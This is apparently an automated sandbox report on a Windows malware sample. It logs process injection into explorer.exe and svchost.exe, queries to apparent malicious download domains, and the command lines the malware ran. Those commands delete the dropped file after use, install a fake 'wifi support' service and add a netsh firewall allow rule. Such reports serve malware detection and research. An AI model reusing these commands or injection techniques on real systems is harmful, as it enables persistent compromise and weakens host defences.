Code function: 20_1_004027ED LdrLoadDll,

20_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_0041C020 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041C020
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_00426E10 SetUnhandledExceptionFilter,	0_2_00426E10
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_004242B0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004242B0
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: 0_2_0041F330 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041F330
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Code function: 38_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	38_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: bitly.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: bit.ly
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: DDEE.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 990000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Memory written: C:\Users\user\Desktop\7NAzyCWRyM.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Memory written: C:\Users\user\AppData\Roaming\rffhjft base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Memory written: C:\Users\user\AppData\Local\Temp\BC2D.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Memory written: C:\Users\user\AppData\Local\Temp\2203.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 990000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Code function: 0_2_00540110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00540110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Thread created: C:\Windows\explorer.exe EIP: 4F21930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Thread created: unknown EIP: 4F91930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Thread created: unknown EIP: 3141930	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 990000
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: A8E008

.NET source code references suspicious native API functions

Show sources

Source: 2203.exe.5.dr, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 2203.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 24.0.2203.exe.580000.0.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 24.0.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 24.0.2203.exe.580000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 24.0.2203.exe.580000.2.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 24.0.2203.exe.580000.3.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 24.0.2203.exe.580000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 24.2.2203.exe.580000.0.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 24.2.2203.exe.580000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 24.0.2203.exe.580000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 24.0.2203.exe.580000.1.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.400000.12.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.5.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.2203.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.2.2203.exe.cf0000.1.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.2.2203.exe.cf0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.2203.exe.cf0000.9.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.2203.exe.400000.10.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.7.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.2203.exe.cf0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.2203.exe.cf0000.13.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.11.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 41.0.2203.exe.cf0000.11.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.1.unpack, eulaVesraPdnAetadilaVyranoitciDtcejbOnoitadilaVgnikcarTteNmetsyS26426.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 41.0.2203.exe.cf0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Process created: C:\Users\user\Desktop\7NAzyCWRyM.exe "C:\Users\user\Desktop\7NAzyCWRyM.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rffhjft	Process created: C:\Users\user\AppData\Roaming\rffhjft C:\Users\user\AppData\Roaming\rffhjft	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7156 -ip 7156	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BC2D.exe	Process created: C:\Users\user\AppData\Local\Temp\BC2D.exe C:\Users\user\AppData\Local\Temp\BC2D.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\DDEE.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olbcncjm\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\riwtgmp.exe" C:\Windows\SysWOW64\olbcncjm\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create olbcncjm binPath= "C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe /d\"C:\Users\user\AppData\Local\Temp\11C5.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description olbcncjm "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start olbcncjm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Process created: C:\Users\user\AppData\Local\Temp\2203.exe C:\Users\user\AppData\Local\Temp\2203.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

38_2_00406EDD

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

38_2_00407809

Source: explorer.exe, 00000005.00000000.702603086.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.684525041.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.672025174.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.702826416.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.685538654.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.672230985.0000000001080000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.776840819.0000000000F40000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.778033132.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.702826416.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.693007235.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.685538654.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.672230985.0000000001080000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.776840819.0000000000F40000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.778033132.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.702826416.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.685538654.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.672230985.0000000001080000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.776840819.0000000000F40000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.778033132.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.702826416.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.685538654.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.672230985.0000000001080000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.776840819.0000000000F40000.00000002.00020000.sdmp, 8633.exe, 0000000D.00000000.778033132.0000000000F40000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.711003467.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.696276905.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.678245196.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe	Code function: GetLocaleInfoA,	0_2_00439B30
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	13_2_00437060
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	13_2_004379A0
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: ___getlocaleinfo,__malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,	13_2_00424230
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: __crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate,	13_2_0043FCC0
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	13_2_00437CF0
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	13_2_0043FD30
Source: C:\Users\user\AppData\Local\Temp\8633.exe	Code function: ___crtGetLocaleInfoW,___crtGetLocaleInfoW,__nh_malloc_dbg,___crtGetLocaleInfoW,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,_isdigit,	13_2_00432530
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	21_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	21_2_0047B050

Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\11C5.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2203.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2203.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2203.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DDEE.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\7NAzyCWRyM.exe

Code function: 0_2_0041AFB0 __vswprintf_c_l,_wscanf,_puts,__wrename,_abort,_malloc,_realloc,OpenMutexA,GetBinaryTypeW,SetCurrentDirectoryA,Process32FirstW,InitializeCriticalSection,QueryDosDeviceW,TerminateJobObject,GlobalAddAtomA,SetHandleCount,WriteProfileStringW,GetFullPathNameW,FindNextVolumeMountPointA,GetCompressedFileSizeA,FillConsoleOutputCharacterW,GetNamedPipeInfo,lstrcpynW,FatalAppExitW,GetConsoleAliasesLengthW,GetProcessTimes,EnumResourceNamesW,SetWaitableTimer,AreFileApisANSI,PostQueuedCompletionStatus,FindClose,SetEndOfFile,SetCommMask,LocalReAlloc,OpenMutexA,GetLastError,HeapFree,GetComputerNameW,OpenMutexA,FreeEnvironmentStringsA,GetConsoleAliasExesLengthW,WriteConsoleOutputCharacterA,GetModuleHandleA,GetNumberOfConsoleInputEvents,FreeEnvironmentStringsA,ResetWriteWatch,GetConsoleAliasExesLengthW,EnumDateFormatsW,GetConsoleAliasExesLengthW,GetConsoleAliasA,GetConsoleCP,LockFile,VerLanguageNameW,lstrcpyW,SetFileShortNameA,SetThreadLocale,CreateSemaphoreW,GetOverlappedResult,FreeEnvironmentStringsA,CreateSemaphoreW,GetLocalTime,FindResourceExA,GetOverlappedResult,WaitNamedPipeW,TransmitCommChar,CreateSemaphoreW,GetTapeStatus,PeekConsoleInputW,GetOverlappedResult,DisableThreadLibraryCalls,HeapLock,TryEnterCriticalSection,GetPrivateProfileStructW,WriteConsoleA,EndUpdateResourceW,DefineDosDeviceW,GetSystemTimeAdjustment,InterlockedExchange,SetMailslotInfo,CreateActCtxW,lstrcatA,GetThreadSelectorEntry,TerminateThread,GetSystemWow64DirectoryW,GetConsoleMode,ReadFile,lstrcmpW,GetPrivateProfileSectionA,DebugBreak,GetStringTypeExA,

0_2_0041AFB0

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Code function: 21_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

21_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Code function: 21_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

21_2_0040ACA0

Source: C:\Windows\SysWOW64\olbcncjm\riwtgmp.exe

Code function: 38_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

38_2_0040405E

Source: C:\Users\user\AppData\Local\Temp\DDEE.exe

Code function: 21_2_00406C10 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

21_2_00406C10

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

